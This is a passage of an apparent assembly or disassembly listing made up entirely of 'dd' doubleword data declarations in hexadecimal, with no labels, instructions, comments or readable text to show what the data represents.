0B8C353Eh, 0E9089638h, 5D14168Dh, 74A00AFFh dd 0E0B91EBh, 2CF8D11Eh, 4F211720h, 2356899Eh, 0AAB47D2Eh dd 0B8504D70h, 1B72001Dh, 8DE7B932h, 0B1BCCDE4h, 0C124F726h dd 0AF8C652Fh, 0C6FA8ECCh, 9721B9Ch, 629251ADh, 0C851B010h dd 0C2315815h, 0AFFA16E9h, 43980912h, 43B40971h, 0C787F39h dd 0A44DE103h, 41C7293Fh, 9B14081Ch, 84E43112h, 360360E7h dd 0C6CF681Ah, 5FFB8900h, 0E95AD331h, 11AF4CC4h, 560656B4h dd 0E924441Eh, 0A5EBEBAh, 17E313FDh, 5BBC2701h, 942F429Ah dd 0A9081066h, 0E955FA02h, 2AFE2BB4h, 0ACD259C3h, 0E583349h dd 0A780015Ch, 0F9E85BE2h, 382C3C68h, 1E6AC33h, 6846D5EDh dd 0EEDEF139h, 52E7E874h, 0D44C5EE2h, 2706099h, 81023F0Dh dd 0DD08C7F6h, 1E627Ah, 7BD4EE92h, 1E6160ABh, 0FFB39D5Bh dd 152E91Ah, 7D43C145h, 0D0ADE554h, 439749DFh, 7CC9F9F9h dd 9C8EC9C6h, 49812E4Eh, 8955F181h, 6036E90Dh, 3C4F091Dh dd 2AA5591Ch, 0E2C0AD82h, 0B1EC88C3h, 0A6CE6821h, 0D9024F0Ch dd 50227050h, 0E0E2E914h, 0A7D3CAA4h, 3AAEC588h, 0B90BC0B0h dd 1E2464AFh, 0BE024E4Bh, 0F816FB6Ah, 2CAEDD57h, 0A5B40FCCh dd 0B0237C29h, 0EAE2EB01h, 0A3BF36C8h, 143B6914h, 432209Dh dd 0B7343068h, 96D3E940h, 1BA5A6B1h, 9973CF0h, 4204DB67h dd 70B40ABh, 4EFB69BCh, 3B19A3ABh, 3916BECBh, 0F6F30088h dd 3DF90C9Bh, 412E0CC1h, 0F94053C1h, 90B07458h, 266F2C52h dd 0B45060E5h, 7812B10Eh dd 0AA71E130h, 4A6584E9h, 9FB27945h, 73685680h, 0EAA1311Fh dd 188828F5h, 4F0D3F7h, 0A0DF0106h, 891A0D05h, 3664D444h dd 1415535Ch, 75072DD8h, 766011A2h, 129706C1h, 471AC163h dd 0FCE82101h, 66C0EE8Ah, 98BB43BAh, 216B8CCh, 27C439ACh dd 0C9D050E9h, 73285A5Ah, 0D0861EB0h, 0F0CDD4E8h, 0AFF7282Eh dd 0D8D460C6h, 0B4EFE33Ah, 4E58BC65h, 0CA857C34h, 0E9C200E2h dd 6D74096Bh, 7EF0CD44h, 45AE0AB8h, 12F74EE1h, 0E8769941h dd 2AB1D4CEh, 29360762h, 3335523h, 71741B00h, 0F75921E4h dd 0F9898D9h, 7F4A2FCAh, 0B954D00Fh, 0FF847604h, 4516AF85h dd 0A9AD7EC4h, 34E684h, 0A0906BBFh, 4E4BF473h, 0E9B4D910h dd 0A7C4571Ch, 0EFDB72F3h, 56DFC8E8h, 0F2409CFEh, 1DB02A68h dd 0D01CDC58h, 9D84AC4h, 148B27D7h, 0CBA45Bh, 0A731B122h dd 0CCFF815h, 3AC967EEh, 7A265C0Ch, 0F70178D1h, 683D0279h dd 0CA070A60h, 5E10606h, 0C1B0BFFCh, 295FFE6Bh, 0D633339Ch dd 0D066431h, 0D52B84E9h, 0C62CF2C8h, 7FFE7E9h, 0B151DFF6h dd 0ADF3A3B9h, 895A1416h, 0F9215004h, 812EE5A1h, 8B95124h dd 97C30481h, 0BE40B038h, 0C211D409h, 2F4B0ACAh, 0E945B8A5h dd 0CDA0BDA3h, 3074B753h, 4016FD6Bh, 96C6213Bh, 0D6F750B9h dd 403464Ch, 44B9A69Eh, 0CCBC2F84h, 33B8214Ah, 0A2403AACh dd 2DBF5D5Fh, 5EBB925Ah, 0C123015Ch, 404E02EEh, 13BB58CBh dd 46C4FE4Bh, 4FBACE00h, 5E315A53h, 282CCDFBh, 0AAE9C2C9h dd 0CFFAAE31h, 0DF35045Dh, 9945748Ah, 135DDF2Bh, 0E9125456h dd 845A184Ch, 5031728h, 0F50FC05Dh, 30017A7Dh, 0E902EFC1h dd 7E365CDFh, 29BC2D79h, 32DA06BBh, 43ED458h, 28411E1Ch dd 0E0FF743Bh, 622DE953h, 662B383Ch, 91BB4B0Fh, 1AB8C46h dd 9FDD8058h, 16F1C1CCh, 0A059CB28h, 4C40438Ch, 66552A68h dd 12B630EFh, 0E7DCC7EFh, 0A5BFED3Dh, 2F48C56Ah, 0C3800F21h dd 73EBCC40h, 1075DBE1h, 5DDC6815h, 40B11B75h, 2E20277Dh dd 13D25762h, 0D837B6B4h, 3F175ACBh, 1812B0EBh, 73C8F866h dd 1189F05Bh, 0ABB6942Fh, 30C13574h, 0CF954F72h, 0B34B820Ah dd 32348F51h, 4B4E0FCh, 94864CBh, 0A47D18BDh, 0DF3BCB51h dd 11671402h, 0B18BE40Bh, 56556548h, 0C5E10021h, 11FA16Fh dd 81604EDh, 2D24DD08h, 0EA3D1D60h, 4F3A6880h, 1F9E8C43h dd 7D0B270Ch, 39D45C50h, 0B8020A11h, 69726BDFh, 484EABD8h dd 6801DF1h, 35E0D107h, 6C050D43h, 1661E999h, 0C8A754BCh dd 5C0C8742h, 931A6960h, 0C00A1E76h, 0D440D3AAh, 0B803BF53h dd 9E565028h, 95C69AB5h, 0CF3CCE0Fh, 3B84CE88h, 554FBBB9h dd 5BD9432Fh, 0C58FE7D0h, 5C35215h, 41FC636Fh, 0A094C288h dd 0F040CB9Fh, 48E60968h, 0DE4B6150h, 2AA8D9Eh, 88BA4A40h dd 305BFE09h, 0C27DF6F0h, 0CEE6DBC1h, 6607C8E0h, 53C33059h dd 544787F2h, 0DE8F790Ah, 825B1F7Eh, 0EEC00907h, 6909CA81h dd 8032306Ch, 293715B7h, 89415836h, 0D139EE59h, 725BCD0h dd 31727059h, 0D32952CAh, 5FD63C1h, 0E2A7D2ACh, 25E65093h dd 2B206498h, 68AD3DC0h, 0EEF63AA0h, 0C525A294h, 91EF902Ah dd 8E734C81h, 0C5F2A9EEh, 345D1657h, 4E3BC8Ch, 0B1D9E952h dd 0FA01AB99h, 0F5342EC4h, 830D00D8h, 404CF472h, 445EEE68h dd 7D9D7030h, 0E9651C2Eh, 0FBFA0F4h, 18F806CAh, 1F12D377h dd 23F20399h, 0BEFA66D3h, 0A1B979C8h, 417A67B8h, 76D0534Fh dd 3D450BC3h, 20A534B3h, 3BD3EE09h, 6BCC5397h, 3D3B60B5h dd 0B440C8EEh, 4434157Bh, 50B3DDFCh, 6802BCD4h, 7E6C3A25h dd 0B8503654h, 93C53DDDh, 8C32D0Bh, 0E4581309h, 0A1850782h dd 0C0DE2772h, 0C6146F5h, 4D1D2D76h, 8423459h, 571A5A2Bh dd 7D5E7682h, 0F83026Ch, 535D5816h, 13423C01h, 3B386BC3h dd 81DBF700h, 0A30C4BCBh, 68E91413h, 0B2FB91E1h, 1C567E78h dd 70EF06BEh, 6900422Fh, 4F231D0Bh, 9CBD90E9h, 666861A3h dd 0E88D3F30h, 515E1B92h, 5782AEAEh, 0CB7E2FE9h, 0C01A581Ah dd 27516198h, 7470E3C1h, 43F93309h, 2DA4D699h, 1C8576E0h dd 0BF40C35Ah, 10573FBCh, 657F14BAh, 0DE249B36h, 69B68033h dd 8003EEC0h, 0FEBAE613h, 507B3004h, 0ADE634FEh, 0FEE982F6h dd 606E5E44h, 21236D4Eh, 0C002CC98h, 68B4E3DDh, 8DC6F60Bh dd 41311EB2h, 874159C1h, 47182350h, 2FDDF08Bh, 0FA4270E9h dd 6AFCF880h, 0B0F608F9h, 0AC37089Fh, 2C4C6D00h, 0BDD7F773h dd 0A8EB360Bh, 2641C1B4h, 0F0E1D862h, 89C6A71h, 0B7DFE403h dd 58A800BCh, 0E936936Dh, 0FBB4BBF7h, 56AD6844h, 1815A64Ah dd 0B826B32Eh, 0B9380150h, 5FF801D8h, 0AC5A6048h, 3EFA43CFh dd 0E740E417h, 0C83B665Ch, 0B5A0CD9Ch, 6AD5D9D3h, 90CD5140h dd 9075B262h, 29FC01AAh, 46E94D84h, 0E05E0338h, 305716F6h dd 0EC0C67CAh, 6CF99A73h, 0AB2C9667h, 0BF418283h, 0F4DDA060h dd 593B4D20h, 5180F055h, 0D7431668h, 20064E48h, 3ED966Ah dd 27C9505Fh, 20774E1h, 903D45Bh, 34F13C65h, 68A460A7h dd 37145E1Ah, 0FC77D028h, 0A825E907h, 4EA1C628h, 0D0F3F657h dd 1AD72692h, 0FE2146CBh, 89F44B29h, 37623F5Bh, 0FF5409C6h dd 69DCF542h, 0C0E2E389h, 1A4B86AFh, 144302C6h, 0ECFE9340h dd 0E64B8B9Eh, 730CD63Ch, 618F789h, 4F75DDE9h, 7439081h dd 21879AC5h, 2584E3F9h, 5E598F7Dh, 8D7910Fh, 2058B6E9h dd 0C12D9C54h, 535E0CE9h, 4BBB58B9h, 0B09F568Dh, 0A640486Eh dd 14B504BFh, 0AA897B79h, 0AFA1F905h, 0EB87F921h, 0B316903Bh dd 3A519920h, 4BEB2280h, 0C0801234h, 0BCD0620h, 4D455D2Dh dd 8B138B54h, 42C693C4h, 0F3D9004h, 0A5562D7h, 0A768ECE6h dd 414918ECh, 82C99F0Ah, 0E434E460h, 611112F4h, 4F66CA26h dd 2D612E53h, 30EB7EE9h, 77B8CB41h, 0D4C3B67h, 1A5E3A0Bh dd 841C0413h, 0CB130250h, 598A762Bh, 295C4109h, 2A7A72FBh dd 0BB06B982h, 2531599Bh, 43110174h, 0DD21F374h, 6C9F605Bh dd 0CE9E4438h, 0D883FFE1h, 39FE5CFBh, 8CE9E815h, 85954099h dd 625E791Eh, 16CEE3CDh, 0E2E76138h, 943C328h, 7526EE9Ch dd 0B3533F1Ch, 0CADC8893h, 0C3800B42h, 96FD879Ch, 0B252E300h dd 86FE622Eh, 0BFDAE062h, 5A287B03h, 0E07D3564h, 0D589319Ah dd 824B7F6Eh, 1CE86168h, 5E78F229h, 0ED66EB20h, 0B5D4D639h dd 69E9FEC1h, 3B672ED4h, 98B05DA5h, 0F3213C5Ch, 672D1112h dd 0BE3A92FEh, 7FACA4Bh, 809DACD8h, 9C4F49F1h, 207B9065h dd 524F1EE5h, 0CB3F738Dh, 91E500BCh, 0E963DE01h, 173660AEh dd 664B13C2h, 49B94095h, 53BF1977h, 0CFD1EA83h, 266B0259h dd 9F09CCB7h, 8886D1ACh, 0B6B02DF1h, 58FE76B5h, 0A9D3C4C5h dd 0BD5D301Bh, 5CFB681Bh, 0A42C0638h, 55D65F5h, 0CD446029h dd 13633E3Ah, 8057193Eh, 0D5FE96C6h, 2C5BD4EEh, 0F028940Eh dd 0F85A8A04h, 0FC069B1Bh, 5FE91880h, 0BCFA445h, 2A7E3160h dd 0E63D8A02h, 4C850105h, 25CB5E1Eh, 0D5B40449h, 80BB684h dd 37C0E95Ah, 21343BEFh, 0A5BEBF68h, 0E970D9D9h, 3AC84DC9h dd 0BC10575h, 0BF73858h, 0E17823B7h, 77912B84h, 63C04112h dd 3C5A5452h, 8BDFEB68h, 42B5823h, 620D2272h, 8022BC9h dd 0FE98EC58h, 625B5FDAh, 87C8FB00h, 0C797305Ch, 0A1D3272Dh dd 922826A7h, 212FE330h, 0A38769h, 57EC805h, 0D02971FBh dd 1707162Dh, 6884C062h dd 9897222Ch, 0D3C762D5h, 801CC3Dh, 46DF2FC6h, 14C4B15h dd 0FEE8B7C3h, 3C1AE5CFh, 0D859271Ah, 61568230h, 0DD5530F6h dd 85B29017h, 94E0E9C5h, 77F6801Bh, 0F3A0C565h, 0D9A8B758h dd 7013EBEAh, 0F6EC64FDh, 5A184A0Bh, 0AC9CDA88h, 82D0179h dd 3B707E15h, 401AAD98h, 127581Bh, 6BC151D7h, 1ED4F162h dd 2D0F46D2h, 0CFC56954h, 9D31AABEh, 97F7459Fh, 0B8194712h dd 63B160EFh, 2A00F80Dh, 0BA527858h, 0AC3B73h, 93BD5516h dd 0E913EE32h, 69589425h, 0C6C5ADEh, 30F766B1h, 7ABA1C15h dd 64308F90h, 0EF3D507h, 42980F40h, 0CEA4DD89h, 2022CDB2h dd 1F7772Bh, 363ED829h, 574F2365h, 8C5EE8E7h, 0DB2EE909h dd 68C184FBh, 1A2C0DA8h, 1A5A5ECFh, 8480989Ah, 6CB823FEh dd 0AED0E914h, 0C3F597DFh, 8013AE30h, 4EF0E6C1h, 0BF8999B8h dd 5A3E781Fh, 5F49A0DFh, 66A870C6h, 787E6815h, 0C3D14B46h dd 810359D4h, 0BA0B4AB0h, 5D64075Ch, 0B3879024h, 98CE0150h dd 0B817833Eh, 0F90BA59Ah, 0F84EA40Eh, 565A7BE9h, 8010DCE3h dd 9F5A3447h, 0C8F35BAh, 50955288h, 8870B00Eh, 2F05D3C2h dd 0BA83B4B3h, 8E398E0h, 1806D2C0h, 0E9DA50C5h, 81DE4EFCh dd 0F3758781h, 0C7EF2962h, 0AE2808DAh, 0F4382603h, 5A57E90Eh dd 669B0A9h, 27E60DE8h, 4B0B2DF0h, 0C1F2E97Fh, 4C6D5D03h dd 0B02CD385h, 0A14B414Bh, 2EE01589h, 3B6597A4h, 0E15BDF0Ah dd 19E90204h, 0CF8749D0h, 0D7F73D47h, 0B203BC12h, 98148873h dd 0CA81650Fh, 747AE517h, 0EA9904EBh, 0A4C3C001h, 0C48E6B8h dd 6CA1025Fh, 0E90945B5h, 0CD24EA26h, 0F481EAD1h, 0B3F01264h dd 0E9BA4574h, 31B491ADh, 35E7DDCDh, 7EE12153h, 12E43D51h dd 0F4E9BFB4h, 27EF341Ah, 82A45CD4h, 3AAD4408h, 91A0B793h dd 4423CCDh, 8B804AEh, 50A05059h, 5CCD571Dh, 0C12CE1C0h dd 9D54817h, 0B16D043Ch, 5291E904h, 4B07FE5h, 557092B0h dd 4109172Ch, 13FFD227h, 1C8C9E27h, 0B2AC6F95h, 2B00BE6Ah dd 2D456EA5h, 12C63DCFh, 10F0293Fh, 5010813h, 0AE5647Ch dd 45D0DAE9h, 5BF83012h, 0BF6C271h, 8A5E0ABEh, 0BDFC98CAh dd 80CE9902h, 1D656934h, 0CAF1EF29h, 35E90882h, 5056C4E8h dd 39D7B804h, 4AA2181h, 0FCF53102h, 64CE074Dh, 829B6DB5h dd 82B1792h, 2E32C58h, 0FA18ADBAh, 0A229D82h, 4C0D6801h dd 6AE7297Fh, 1548EA80h, 811B0EFBh, 730467CFh, 5818AF4Ch dd 0E02759B2h, 49015FFDh, 8889564Dh, 66EBAAD3h, 0EB012720h dd 0E917107Ah, 99E4CA63h, 92A7F059h, 54407E28h, 2A688345h dd 25B97C63h, 29D15E1Dh, 2D6857C1h, 0D37A7460h, 0E56C099Dh dd 25CCD428h, 5A166071h, 0E8C18221h, 0D40EF343h, 95513A1Ah dd 0CBE786C9h, 0BBC848ADh, 1F511252h, 4533BB41h, 41ABC93Ah dd 9F2DE2h, 23C3ABAh, 0D3216E25h, 1FE2525Ah, 0B800ED76h dd 5F8A5C5Bh, 69F75C40h, 3E285D09h, 88F34585h, 893CC665h dd 0E3E1AAF0h, 0C9C06B95h, 9362159Bh, 0B236AA12h, 0C06808FAh dd 9AA53E7Fh, 0E3A44F8Eh, 0E7BC909Eh, 42F1354h, 4FEC8436h dd 8BA07EC5h, 64EC012Dh, 0D8F73CD9h, 3EC23850h, 9B8F0458h dd 0BDB8B5AAh, 0F509E90Bh, 0BA254D7Ah, 75EC4D6h, 0DC2805CBh dd 1DE3602Fh, 57264A7Dh, 0E702D643h, 0C0553F65h, 22D32BE8h dd 1520B208h, 51D18AA8h, 372A304Ah, 225FF265h, 18CDA613h dd 37267E8Ch, 873C4F2Ah, 0E15D2FFDh, 4E26BBCFh, 6508975Bh dd 0C14BDEEh, 76E7DFE9h, 5E8BEC5Bh, 940D35CBh, 0B8CC4EDh dd 3798A2C0h, 2EFE60BEh, 0CE29DB0Eh, 69F06B59h, 14E3E929h dd 95E6882Dh, 0D942A025h, 30C9CAD9h, 0C0131F2Ch, 6952EB2Bh dd 0F73B2FE7h, 0D6267EDBh, 0B1A0CAFEh, 453B2B1Ch, 4305F965h dd 6099D4B9h, 18D93873h, 68D7A61Eh, 0E4044A67h, 0F3138899h dd 1EECD3F6h, 22559815h, 0E8685301h, 213C0B52h, 247FEA45h dd 0C1B050D3h, 20350764h, 9E028F79h, 8A5C0854h, 97054150h dd 36CE7A32h, 0B558EC95h, 0EB1C7C4h, 138D408h, 1F72E181h dd 0C1B0C73Dh, 5514394Dh, 24BC31D9h, 124C101h, 5F41B024h dd 81C8622Dh, 50C4B850h, 4AE90705h, 0F72AE48Ah, 3D214638h dd 520A9220h, 137576A4h, 5348C84Ch, 0CE440156h, 0FE14F11Dh dd 4A7E9382h, 6704AC01h, 0FAD8622Dh, 0C2FCB1B2h, 41B0D0E0h dd 7C30E041h, 6B294D76h, 0F2468F13h, 2294800h, 4A456498h dd 55A6D231h, 867A903Eh, 797F8A48h, 5111D902h, 5F0E9168h dd 478BAA18h, 0F257AE2Ch, 1A9FC809h, 22B17555h, 0D2217AC5h dd 2900E615h, 894A5FFDh, 394A8E81h, 0F4622533h, 72E5B6FCh dd 1B00C896h, 4B5C08F1h, 0E9DF17F7h, 6FCBB1C6h, 0F8660963h dd 48E168F1h, 9DD7314Dh, 8F292F4Ch, 0EF317C88h, 1812D724h dd 364FC2B8h, 572E0D2Ch, 710B3F55h, 0E5F75615h, 484EEFD2h dd 0E34D7863h, 1C2B9803h, 5777A4FBh, 42200289h, 60EACBE9h dd 20C4611Ah, 29C2A295h, 3F665177h, 0E6D6A541h, 0A86D4D2Ch dd 75605A25h, 78243CE4h, 0CD01D911h, 0E636C9Eh, 940E760h dd 0F720A726h, 87E715E0h, 5655BA12h, 85F06DA0h, 0A308E989h dd 0F2478F72h, 0C8965D50h, 0A4C8EE58h, 0AA5F482h, 300D000Bh dd 0E3E6817Bh, 81BF1B28h, 0E64F6025h, 605DB412h, 0EF21A5B9h dd 0F1C04F4Eh, 2F11595Eh, 9E40F716h, 222637B5h, 0F83E3CC6h dd 54C0694Fh, 68AFB8h, 0E0C119D3h, 2E913502h, 0D629301h dd 207433F4h, 4806F140h, 0E3AD54E9h, 33019058h, 0EBCF3779h dd 353862F1h, 1389446Ch, 0BE087208h, 0E926217Fh, 903FD4CAh dd 362C683Dh, 3E03949Bh, 0F823F94Dh, 0B65859CFh, 225D5A5Ch dd 790B49CCh, 0B91C8B2Dh, 57FCFB48h, 405CCC27h, 0B7F8315Ch dd 5AB27B20h, 0E92565DBh, 0E24DE864h, 67181DEBh, 5C29769h dd 0C2DEDDDAh, 0B973CE23h, 805FAFBDh, 0BB5357B7h, 1B783956h dd 3764FFCh, 49C28042h, 64E1D782h, 3D23F4F9h, 46B699A4h dd 2F972994h, 0FD97AADh, 3B94243Dh, 0F5E1074Bh, 0DC53205Bh dd 0C8F02B2Dh, 0D4DEC580h, 904A2C11h, 0E9EE0133h, 5780C04Fh dd 0AC7D0668h, 55E80ABh, 1E67175Ch, 4125EC7Bh, 7FD71907h dd 0C4581922h, 826F59FCh, 845A1442h, 0DE12FEA4h, 5E112ED2h dd 45E16A6h, 0E9E56DB2h, 0C3307EECh, 88520E9Dh, 5AF0E4DEh dd 7EBDCA5Ah, 0FE90C37Eh, 0FB50E912h, 91384A4h, 8957C564h dd 0E0C96424h, 4C0BBE63h, 2657C44h, 799B2EC8h, 54538B18h dd 5B58CE90h, 278667B5h, 40E99798h, 311DC29Ah, 594C1D6h dd 0D8E701B5h, 0A1E9456Ch, 52287338h, 2E341CCFh, 0C525BE47h dd 3D71220Bh, 0DC2B04ADh, 8F5961D2h, 0BEBC0595h, 9ED06EACh dd 18205526h, 5AD0913Dh, 0F228819Fh, 0CA80CE40h, 0E60B7ABBh dd 0EB5F8326h, 68D76C01h, 66604D88h, 0A2464F92h, 9EBA8E64h dd 682C6C49h, 263584D1h, 0B2BA78E8h, 0B0506h, 0AB9AEB1Ah dd 8417482Bh, 5937A502h, 0E3582977h, 415B0881h, 62E0B2B6h dd 28029642h, 829463D6h, 49FDE5D2h, 77697CF5h, 70282460h dd 64B8B36Ah, 24996234h, 0AEBC65BFh, 0A93CEF2Ch, 0E981FF93h dd 0F67DE480h, 15CF27D4h, 0D74CE79Ch, 0DC3BE0A1h, 12B864E5h dd 87C971FBh, 68F9BF89h, 0E7812A10h, 302712B0h, 30BBD70Fh dd 414531D3h, 73D7F73Ch, 867A9D09h, 7A395C4Fh, 50720057h dd 930F724Ah, 0BA85B498h, 8C2F693Dh, 1D49E9FCh, 0C65E2F5Fh dd 0B021AC20h, 0E44027A7h dd 0BA045D44h, 3F5D23F4h, 180AC4E4h, 5CC0A2DCh, 0B92F5465h dd 8872825h, 90315B2Dh, 988C85FFh, 0D2EEAD4Bh, 68590990h dd 185E389Eh, 0F52DF60h, 902BD10h, 0B076E70Ch, 29FF5065h dd 0A48A7C28h, 5C52A64Bh, 348E50E0h, 1EB4BB80h, 0BA339841h dd 0A724F9AEh, 2E3D8A61h, 0ABB60CC4h, 43A8257Ch, 8A103EA1h dd 0F501F48Eh, 0E82C5E5Eh, 0BA520259h, 688C56A7h, 1A360775h dd 0D3297A91h, 8059721h, 0E9C943BBh, 44061735h, 370A2B9h dd 4CE107D6h, 602F5C7Eh, 0E8184DC9h, 0F132297Ch, 742296A8h dd 0D5053CE1h, 917D48Bh, 1BA0EDE6h, 0D8F6AE34h, 8E8C004h dd 0A8C43C2Ch, 0CBFE9481h, 0FFE9EBD3h, 6B62FE99h, 0E46FF37Ch dd 0F2B8D2A5h, 112B099Eh, 0FFE948ABh, 2F417593h, 29056862h dd 0DCE25DE1h, 47767216h, 1F07F202h, 585221C3h, 252AEE3Eh dd 16A50FFEh, 0CD29A17Ch, 82C941E7h, 0CA0102B1h, 0A8A0C52Eh dd 5764B50Ch, 62360CA8h, 8108D28h, 0B31ECF04h, 145F012Eh dd 109A0C6Ch, 1581C10h, 0D07591C4h, 0D3948017h, 1876271Eh dd 5BC58497h, 9717A7D6h, 0BD64218Bh, 2B453364h, 635DCCBCh dd 0B9710DCh, 0B054AE68h, 97BCFC49h, 68162D64h, 76347B77h dd 0B6819CE2h, 78A7E980h, 92BD0272h, 0B864C41Eh, 1F7CBA15h dd 870AAC76h, 962588CAh, 0A9090C1Ch, 72DB962h, 40D0039Bh dd 24EA29C0h, 0A4545D52h, 881D15DFh, 1CE42D07h, 0C229F3AFh dd 3B07B0E1h, 7B35BB40h, 7F183Fh, 0A576272Dh, 0DF28052Eh dd 0E970C309h, 53B2E1E0h, 0F71D4D28h, 1127BED3h, 80E2ADC2h dd 94559362h, 7E64B79Bh, 4DCA3BFDh, 49A2E913h, 0E96542Ah dd 7B2BF0A1h, 8EE72E40h, 0B8577160h, 40280914h, 0B500500Ch dd 56DC4662h, 8C2AC1ECh, 0E10C8B35h, 3C1A07E0h, 407B17E9h dd 0E28AC8Dh, 0FEBEDBB6h, 0ECE179C9h, 5E547B3Bh, 0D11202D4h dd 0C742C1E0h, 37FD2681h, 0EB522027h, 50DE139h, 2AA4E962h dd 50932CAFh, 5DBE5603h, 0FD757F40h, 5FD257A0h, 6FAF4459h dd 36B31250h, 0CB2FFA3Eh, 0DDF6E402h, 0DE2CEB40h, 164C2D80h dd 1647DA0Eh, 387FDA7h, 0A53310C1h, 85C9AF13h, 0BFBCE733h dd 68F8305Bh, 58BE514Bh, 0E942B748h, 4C517888h, 8300825Eh dd 31B505F5h, 5EC05AD7h, 3A116A1Dh, 0A4F95101h, 725F0802h dd 0FC6EB521h, 695B3162h, 685C0095h, 6A911BB8h, 0DD08EFA6h dd 67ED804Fh, 5059EB28h, 9C53B43Ch, 0E312BBF4h, 0CB3E15F1h dd 77A81264h, 1E0B5AE3h, 1A8A23B2h, 25EA4C4h, 9AF249EFh dd 5FF97940h, 3C4842FEh, 3F68C7DBh, 724C8532h, 20E52D24h dd 0CC20DFE6h, 0CF292D01h, 0FD993FD0h, 8792616Bh, 0EC80317Ah dd 4892B94h, 580C569h, 29853956h, 71CBE195h, 0B24E8C2Ch dd 0F6099625h, 0D9E9AB55h, 58D04244h, 6FF10148h, 119D1426h dd 0DD8A043Eh, 40BF01EEh, 0CC37ED0Eh, 0E09514BDh, 0B264E9FCh dd 6B5B4802h, 3709FC04h, 0A9FD006Ah, 9429ECADh, 5E7712CCh dd 2CD61BCEh, 51B26498h, 4EF38103h, 408C05Dh, 0B34470Ch dd 0C3218033h, 575CAA3Bh, 0BEB30543h, 0A3852706h, 26CB2700h dd 0C1690842h, 93E52436h, 2D302C43h, 0B51FE45Ah, 0E9B3FB00h dd 69B3C306h, 1E2B5308h, 867847BEh, 0A114A46Ch, 7F9D3FB3h dd 92132426h, 1034B9D5h, 0E14AEAC8h, 44EFCDF8h, 4FEFFCF5h dd 0D7669DF4h, 0AE13C43Dh, 0EB03D335h, 9DD94B1Bh, 2AF06580h dd 317D1654h, 0B2B008C6h, 273CD20Bh, 2DA8E61Ah, 9198FE58h dd 0C617CA25h, 1D6816BDh, 0C5CEA870h, 74AE04CDh, 508BE6F1h dd 8827688Ch, 0AB04658h, 48DEE9DDh, 7E688526h, 0A3125229h dd 0ABB64BCDh, 4BDFE296h, 1B8E2DCh, 2FCA1002h, 6E590BE9h dd 1CEE5475h, 0E641E5BEh, 808CDDADh, 29A6827h, 265F3B24h dd 1FE8DFF7h, 1E08BFEh, 86D0E7ABh, 419B2B13h, 0CE1C1AACh dd 13674E37h, 11BDEEC1h, 397F301Fh, 36554065h, 59E749BEh dd 8BB8DAA6h, 1245B5A0h, 29262005h, 7042DE8h, 68A8FDE9h dd 80F4D79Dh, 14335DCEh, 0DC8C329Fh, 21B3448Fh, 3E3892FDh dd 6EFB42D9h, 5FE917D9h, 0CE7C903Bh, 7E2F2784h, 8364406Dh dd 52CF2767h, 30CF9BC3h, 3AE258AAh, 14F401BDh, 3E48A1h dd 0E5135AB8h, 0FB4AE9BDh, 0E1C01FC0h, 8007C008h, 0CE28FFC1h dd 205BE925h, 5EE8F279h, 16E1386h, 9424B2D6h, 4B0238D3h dd 244C08DEh, 0CC922925h, 3A509F42h, 0D06B8291h, 0BEBEC056h dd 5727203Dh, 28EB2098h, 8C680BCFh, 65DB7E1Ch, 0F76A901Dh dd 0EB48C1DBh, 0A3CD2A8Ch, 52E28105h, 0DBC23A7Eh, 289DAh dd 6CCE1929h, 0D7010428h, 0E2D073E9h, 675E252Ah, 7C79A561h dd 3CD2EC08h, 9C0D9A7h, 9A97C001h, 8600C065h, 0BCE39E02h dd 451F0F7Ah, 70ADFB29h, 3C0C20C9h, 205A4CBFh, 68132ECBh dd 0ECA23DF7h, 0A045E9C4h, 0F139802Dh, 5FC98241h, 8EF65166h dd 0C059A5D3h, 54A2E391h, 11C58585h, 5FD00939h, 3311235Ch dd 3426725h, 5449E571h, 0CFDA5B5Dh, 49945709h, 0D944499Fh dd 562D10FBh, 0CEFE00D5h, 280DF680h, 485A5CF3h, 2DF71010h dd 169FF8ADh, 0B693107h, 0E6CB1E65h, 5C455B90h, 0E50781E4h dd 41AB5E72h, 7881CD67h, 4D601D07h, 6761E893h, 525F247Dh dd 4F435475h, 60CC49D1h, 48B74480h, 0C401ED36h, 12FE0C7Eh dd 77849BE9h, 0D939BA05h, 97891A39h, 6D454F62h, 78E0AFB9h dd 2A220447h, 0B14BE942h, 4EBB79CCh, 74A47852h, 7D84AA74h dd 82F7220h, 3A9003FCh, 73606DAAh, 953B571Dh, 0E097B7Fh dd 0EB16432Ch, 0E49DC9C3h, 0E7014520h, 0B5B39924h, 0EAF0D344h dd 0DB270F9Fh, 0CC26884Ch, 0D9893F49h, 0A8555E16h, 0CC9AB5B7h dd 9C7007Ch, 172D26Ch, 0AE30E9CFh, 0B2526EB8h, 0A0085F25h dd 0AA5AB4D4h, 34398CA6h, 0BDA2DC5Fh, 94299140h, 6112BDF5h dd 5229BF44h, 0D87A37C1h, 90605CD1h, 239BA79h, 30204CD8h dd 0BD5FEF20h, 3DF9E194h, 237B257Eh, 7563F67Eh, 0F5ED1E2Fh dd 721CB48h, 7469A889h, 6801DAF7h, 0A2072DB7h, 22F6E0F6h dd 0CB1D159Ch, 5957C35Dh, 47ED3EE1h, 0E9111284h, 0E10BD723h dd 2008E6C1h, 2B140C6Ah, 86790ED1h, 228CC83h, 3CFD6856h dd 19F9722Bh, 5E96B563h, 0B04A8428h, 904B5BE6h, 123D91CCh dd 0AB2EA666h, 0E6C6C607h, 2D9F2860h, 313F1DC1h, 5B3A4324h dd 0D0D001F9h, 0F4B764Eh, 0D3DEA3C6h, 68C14563h, 4072FB97h dd 32864E56h, 4F0A4977h, 6F0124DBh, 21725258h, 955AB230h dd 89732C0Bh, 5C4C078Bh, 0FB4567DCh, 1754D674h, 4C9095Ch dd 0BA397AB1h, 0AD688177h, 0DEB0F966h, 0BD02A792h, 18933321h dd 42655701h, 98E15192h, 0FDF1AA80h, 0E9BE8ED3h, 9BBBD130h dd 2D7110F5h, 2F78642Ah, 0C6DA9725h, 1140497Bh, 4685BD3Fh dd 71514E94h, 355A9Ah, 788E3B3h, 0B6525BDDh, 4B12D2F7h dd 5993EF74h, 1F94CE08h, 3AA88B58h, 28350690h, 830D20E0h dd 0B55601EEh, 0B581016Eh, 3A82A44Eh, 0D6213709h, 0EAF3972h dd 454E4D8h, 3CEB89D9h, 0CB14B52Bh, 6A899DADh, 0DF26AD9Ch dd 5E07D26Ah, 903C397Eh, 58043757h, 0AD361968h, 67E9B211h dd 1D5E252Ah, 0BAC8BD50h, 73557FA7h, 926817C5h, 0E42B313h dd 538E1CF6h, 498CF7D0h, 16F10D5h, 400C486Ch, 547A290Ah dd 5D5A0817h, 0D6244BCDh, 714C2545h, 8D1CB9D0h, 61A5CB77h dd 